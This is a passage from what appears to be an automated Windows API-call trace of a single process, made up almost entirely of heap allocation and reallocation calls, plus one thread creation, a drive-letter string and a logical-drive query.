RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0x8) returned 0x6d3330 [0037.159] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4098e0, lpParameter=0x6d3330, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x264 [0037.159] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0x10) returned 0x6d5288 [0037.159] RtlReAllocateHeap (Heap=0x690000, Flags=0x0, Ptr=0x6d5288, Size=0x20) returned 0x6ceae8 [0037.159] RtlReAllocateHeap (Heap=0x690000, Flags=0x0, Ptr=0x6ceae8, Size=0x40) returned 0x6a9fa0 [0037.159] lstrlenW (lpString="ABCDEFGHIJKLMNOPQRSTUVWXYZ") returned 26 [0037.160] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xd0) returned 0x6ac038 [0037.160] GetLogicalDrives () returned 0x4 [0037.160] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0x10014) returned 0x6d7700 [0037.160] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0x10) returned 0x6d5420 [0037.160] RtlReAllocateHeap (Heap=0x690000, Flags=0x0, Ptr=0x6d5420, Size=0x20) returned 0x6ce9d0 [0037.160] RtlReAllocateHeap (Heap=0x690000, Flags=0x0, Ptr=0x6ce9d0, Size=0x40) returned 0x6a9fe8 [0037.160] RtlReAllocateHeap (Heap=0x690000, Flags=0x0, Ptr=0x6a9fe8, Size=0x80) returned 0x6d4c88 [0037.160] RtlReAllocateHeap (Heap=0x690000, Flags=0x0, Ptr=0x6d4c88, Size=0x100) returned 0x6d5fd0 [0037.160] RtlReAllocateHeap (Heap=0x690000, Flags=0x0, Ptr=0x6d5fd0, Size=0x200) returned 0x6d5fd0 [0037.160] RtlReAllocateHeap (Heap=0x690000, Flags=0x0, Ptr=0x6d5fd0, Size=0x400) returned 0x6d5fd0 [0037.160] RtlReAllocateHeap (Heap=0x690000, Flags=0x0, Ptr=0x6d5fd0, Size=0x800) returned 0x6e7720 [0037.160] RtlReAllocateHeap (Heap=0x690000, Flags=0x0, Ptr=0x6e7720, Size=0x1000) returned 0x6e7720 [0037.160] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0x10000) returned 0x6e8728 [0037.160] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0x10) returned 0x6d5438 [0037.160] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xc) returned 0x6d5210 [0037.160] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0x4) returned 0x6d32c0 [0037.160] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xc) returned 0x6d5258 [0037.160] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0x4) returned 0x6d32a0 [0037.160] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xa) returned 0x6d53a8 [0037.160] RtlReAllocateHeap (Heap=0x690000, Flags=0x0, Ptr=0x6d32a0, Size=0x8) returned 0x6d3260 [0037.160] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xa) returned 0x6d5270 [0037.160] RtlReAllocateHeap (Heap=0x690000, Flags=0x0, Ptr=0x6d3260, Size=0x10) returned 0x6d5168 [0037.160] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xa) returned 0x6d5180 [0037.160] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xa) returned 0x6d5330 [0037.160] RtlReAllocateHeap (Heap=0x690000, Flags=0x0, Ptr=0x6d5168, Size=0x20) returned 0x6ceac0 [0037.160] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xa) returned 0x6d5420 [0037.160] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0x8) returned 0x6d3210 [0037.160] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xe) returned 0x6d5348 [0037.160] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xe) returned 0x6d5408 [0037.160] RtlReAllocateHeap (Heap=0x690000, Flags=0x0, Ptr=0x6ceac0, Size=0x40) returned 0x6aa1e0 [0037.160] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xe) returned 0x6d51b0 [0037.160] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xe) returned 0x6d5378 [0037.160] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xe) returned 0x6d5168 [0037.160] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xe) returned 0x6d53f0 [0037.161] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xa) returned 0x6d5288 [0037.161] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xa) returned 0x6d52d0 [0037.161] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0x8) returned 0x6d32f0 [0037.161] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xa) returned 0x6d52e8 [0037.161] RtlReAllocateHeap (Heap=0x690000, Flags=0x0, Ptr=0x6aa1e0, Size=0x80) returned 0x6d4af0 [0037.161] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xa) returned 0x6d5300 [0037.161] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xa) returned 0x6d53c0 [0037.161] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xa) returned 0x6d52a0 [0037.161] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xa) returned 0x6d5318 [0037.161] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xa) returned 0x6d5468 [0037.161] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xc) returned 0x6d54f8 [0037.161] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xa) returned 0x6d5510 [0037.161] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0x8) returned 0x6d3300 [0037.161] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xa) returned 0x6d5528 [0037.161] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xa) returned 0x6d54b0 [0037.161] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xc) returned 0x6d5480 [0037.161] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xa) returned 0x6d54e0 [0037.161] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xc) returned 0x6d5498 [0037.161] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xa) returned 0x6d54c8 [0037.161] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xc) returned 0x6f8868 [0037.161] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xa) returned 0x6f89d0 [0037.161] RtlReAllocateHeap (Heap=0x690000, Flags=0x0, Ptr=0x6d4af0, Size=0x100) returned 0x6d5fd0 [0037.161] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xa) returned 0x6f87d8 [0037.161] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xa) returned 0x6f8a48 [0037.161] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xa) returned 0x6f8970 [0037.161] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0x10) returned 0x6f87f0 [0037.161] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xa) returned 0x6f8928 [0037.161] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xa) returned 0x6f89e8 [0037.161] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0x8) returned 0x6d31d0 [0037.161] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xa) returned 0x6f8a00 [0037.161] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xa) returned 0x6f8838 [0037.161] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xa) returned 0x6f8898 [0037.161] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0x6) returned 0x6d3280 [0037.161] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xa) returned 0x6f8988 [0037.161] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xa) returned 0x6f88f8 [0037.161] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0x8) returned 0x6d31f0 [0037.161] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xa) returned 0x6f8940 [0037.161] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xa) returned 0x6f8850 [0037.161] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xc) returned 0x6f89b8 [0037.161] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xa) returned 0x6f8a18 [0037.161] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xa) returned 0x6f8910 [0037.161] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xa) returned 0x6f8820 [0037.161] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xe) returned 0x6f8a30 [0037.161] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xa) returned 0x6f89a0 [0037.161] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0x10) returned 0x6f8778 [0037.161] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xa) returned 0x6f87a8 [0037.162] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xa) returned 0x6f8760 [0037.162] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xa) returned 0x6f8880 [0037.162] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xa) returned 0x6f88b0 [0037.162] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0x8) returned 0x6d3190 [0037.162] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xa) returned 0x6f8790 [0037.162] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xa) returned 0x6f87c0 [0037.162] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xa) returned 0x6f8958 [0037.162] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xa) returned 0x6f8808 [0037.162] RtlReAllocateHeap (Heap=0x690000, Flags=0x0, Ptr=0x6d5fd0, Size=0x200) returned 0x6d5fd0 [0037.162] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xa) returned 0x6f88e0 [0037.162] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0x8) returned 0x6d32e0 [0037.162] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xa) returned 0x6f88c8 [0037.162] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xa) returned 0x6f8d18 [0037.162] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xa) returned 0x6f8cd0 [0037.162] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xa) returned 0x6f8c58 [0037.162] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xa) returned 0x6f8b20 [0037.162] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xa) returned 0x6f8ad8 [0037.162] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xa) returned 0x6f8ac0 [0037.162] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xa) returned 0x6f8c40 [0037.162] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xa) returned 0x6f8aa8 [0037.162] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xc) returned 0x6f8af0 [0037.162] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xc) returned 0x6f8b80 [0037.162] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xa) returned 0x6f8c28 [0037.162] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xa) returned 0x6f8a90 [0037.162] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xc) returned 0x6f8b08 [0037.162] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xc) returned 0x6f8a60 [0037.162] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xa) returned 0x6f8c88 [0037.162] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xc) returned 0x6f8ca0 [0037.162] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xc) returned 0x6f8c70 [0037.162] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xa) returned 0x6f8cb8 [0037.162] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xa) returned 0x6f8a78 [0037.162] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xa) returned 0x6f8d00 [0037.162] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0x8) returned 0x6d31b0 [0037.162] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xa) returned 0x6f8d48 [0037.162] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xa) returned 0x6f8b38 [0037.162] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xa) returned 0x6f8bb0 [0037.162] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0x8) returned 0x6d3180 [0037.162] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xa) returned 0x6f8b50 [0037.162] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xc) returned 0x6f8b68 [0037.162] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xa) returned 0x6f8be0 [0037.162] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xa) returned 0x6f8b98 [0037.162] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xa) returned 0x6f8d30 [0037.162] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xa) returned 0x6f8bf8 [0037.162] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xa) returned 0x6f8c10 [0037.162] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xa) returned 0x6f8ce8 [0037.162] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xc) returned 0x6f8bc8 [0037.162] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xc) returned 0x6f8dd8 [0037.163] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xa) returned 0x6f8d60 [0037.163] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xa) returned 0x6f8d90 [0037.163] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xa) returned 0x6f8d78 [0037.163] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xc) returned 0x6f8e50 [0037.163] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xa) returned 0x6f8df0 [0037.163] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xa) returned 0x6f8e08 [0037.163] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xa) returned 0x6f8e68 [0037.163] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xa) returned 0x6f8f10 [0037.163] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xa) returned 0x6f8e38 [0037.163] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xa) returned 0x6f8e20 [0037.163] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xa) returned 0x6f8da8 [0037.163] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0x8) returned 0x6d3320 [0037.163] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0x6) returned 0x6d3360 [0037.163] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xa) returned 0x6f8e80 [0037.163] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xa) returned 0x6f8dc0 [0037.163] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xa) returned 0x6f8e98 [0037.163] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xa) returned 0x6f8eb0 [0037.163] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xa) returned 0x6f8ec8 [0037.163] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xc) returned 0x6f8ee0 [0037.163] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xa) returned 0x6f8ef8 [0037.163] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xa) returned 0x6f8fb0 [0037.163] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xa) returned 0x6f9178 [0037.163] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xa) returned 0x6f9190 [0037.163] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xc) returned 0x6f91a8 [0037.163] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xa) returned 0x6f8fc8 [0037.163] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xa) returned 0x6f90a0 [0037.163] RtlReAllocateHeap (Heap=0x690000, Flags=0x0, Ptr=0x6d5fd0, Size=0x400) returned 0x6d5fd0 [0037.163] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xa) returned 0x6f9058 [0037.163] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xa) returned 0x6f91f0 [0037.163] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xc) returned 0x6f9160 [0037.163] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xa) returned 0x6f91c0 [0037.163] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xa) returned 0x6f9100 [0037.163] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xa) returned 0x6f90d0 [0037.163] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xc) returned 0x6f90b8 [0037.163] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xa) returned 0x6f9238 [0037.163] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xa) returned 0x6f9070 [0037.163] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xa) returned 0x6f9148 [0037.163] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0x8) returned 0x6d3230 [0037.163] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xa) returned 0x6f90e8 [0037.163] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xc) returned 0x6f9040 [0037.163] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xa) returned 0x6f9208 [0037.163] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xa) returned 0x6f9118 [0037.163] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xa) returned 0x6f9088 [0037.163] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xa) returned 0x6f8fe0 [0037.163] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xe) returned 0x6f8f68 [0037.163] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xa) returned 0x6f9220 [0037.164] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xa) returned 0x6f9010 [0037.164] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xa) returned 0x6f9130 [0037.164] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xa) returned 0x6f91d8 [0037.164] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xa) returned 0x6f9250 [0037.164] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xa) returned 0x6f8f80 [0037.164] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xa) returned 0x6f8f98 [0037.164] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xa) returned 0x6f8ff8 [0037.164] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0x8) returned 0x6d3200 [0037.164] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xa) returned 0x6f9028 [0037.164] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xa) returned 0x6f9400 [0037.164] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xa) returned 0x6f9448 [0037.164] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xa) returned 0x6f9358 [0037.164] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xa) returned 0x6f93a0 [0037.164] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xa) returned 0x6f9550 [0037.164] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xa) returned 0x6f93e8 [0037.164] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xa) returned 0x6f9370 [0037.164] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xa) returned 0x6f9538 [0037.164] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xe) returned 0x6f9388 [0037.164] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xa) returned 0x6f9340 [0037.164] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xe) returned 0x6f92c8 [0037.164] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xa) returned 0x6f9298 [0037.164] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xa) returned 0x6f9268 [0037.164] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xa) returned 0x6f9418 [0037.164] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xa) returned 0x6f93b8 [0037.164] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xa) returned 0x6f93d0 [0037.164] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xc) returned 0x6f92b0 [0037.164] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xa) returned 0x6f92e0 [0037.164] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xa) returned 0x6f9430 [0037.164] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xa) returned 0x6f9460 [0037.164] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xa) returned 0x6f9478 [0037.164] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xa) returned 0x6f92f8 [0037.164] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xa) returned 0x6f9310 [0037.164] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xa) returned 0x6f9490 [0037.164] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xa) returned 0x6f9520 [0037.164] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xa) returned 0x6f9280 [0037.164] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xa) returned 0x6f9328 [0037.164] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xa) returned 0x6f94d8 [0037.164] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xa) returned 0x6f94c0 [0037.164] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xa) returned 0x6f94a8 [0037.164] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xa) returned 0x6f94f0 [0037.164] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xa) returned 0x6f9508 [0037.164] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xa) returned 0x6f95e0 [0037.164] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xa) returned 0x6f95f8 [0037.165] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0x10) returned 0x6f9610 [0037.165] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0x12) returned 0x6a5590 [0037.165] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xa) returned 0x6f95b0 [0037.165] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xa) returned 0x6f96a0 [0037.165] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xa) returned 0x6f9700 [0037.165] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xa) returned 0x6f9688 [0037.165] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xa) returned 0x6f95c8 [0037.165] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xa) returned 0x6f9628 [0037.165] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xa) returned 0x6f9640 [0037.165] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xa) returned 0x6f96b8 [0037.165] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xa) returned 0x6f96d0 [0037.165] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xa) returned 0x6f9658 [0037.165] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xa) returned 0x6f96e8 [0037.165] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xa) returned 0x6f9670 [0037.165] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xa) returned 0x6f9718 [0037.165] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xa) returned 0x6f9568 [0037.165] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xa) returned 0x6f9580 [0037.165] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xa) returned 0x6f9598 [0037.165] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xa) returned 0x6f9998 [0037.165] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xa) returned 0x6f9a40 [0037.165] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xa) returned 0x6f9968 [0037.165] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xa) returned 0x6f9878 [0037.165] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xc) returned 0x6f9848 [0037.165] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xc) returned 0x6f9860 [0037.165] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xc) returned 0x6f9818 [0037.165] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xe) returned 0x6f9938 [0037.165] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xc) returned 0x6f97d0 [0037.165] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0x8) returned 0x6d3240 [0037.165] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xa) returned 0x6f9830 [0037.165] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0x8) returned 0x6d3250 [0037.165] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xa) returned 0x6f9a10 [0037.165] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xa) returned 0x6f9a28 [0037.165] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xa) returned 0x6f9788 [0037.165] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xc) returned 0x6f99f8 [0037.165] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xc) returned 0x6f99e0 [0037.165] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xa) returned 0x6f97a0 [0037.165] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xc) returned 0x6f9890 [0037.165] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xa) returned 0x6f97e8 [0037.165] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xa) returned 0x6f99b0 [0037.165] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xc) returned 0x6f98a8 [0037.165] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xa) returned 0x6f98c0 [0037.165] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xc) returned 0x6f9a58 [0037.166] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xc) returned 0x6f98d8 [0037.166] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xa) returned 0x6f9980 [0037.166] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0x8) returned 0x6d3370 [0037.166] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xa) returned 0x6f9770 [0037.166] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xa) returned 0x6f97b8 [0037.166] RtlReAllocateHeap (Heap=0x690000, Flags=0x0, Ptr=0x6d5fd0, Size=0x800) returned 0x6f9f48 [0037.166] 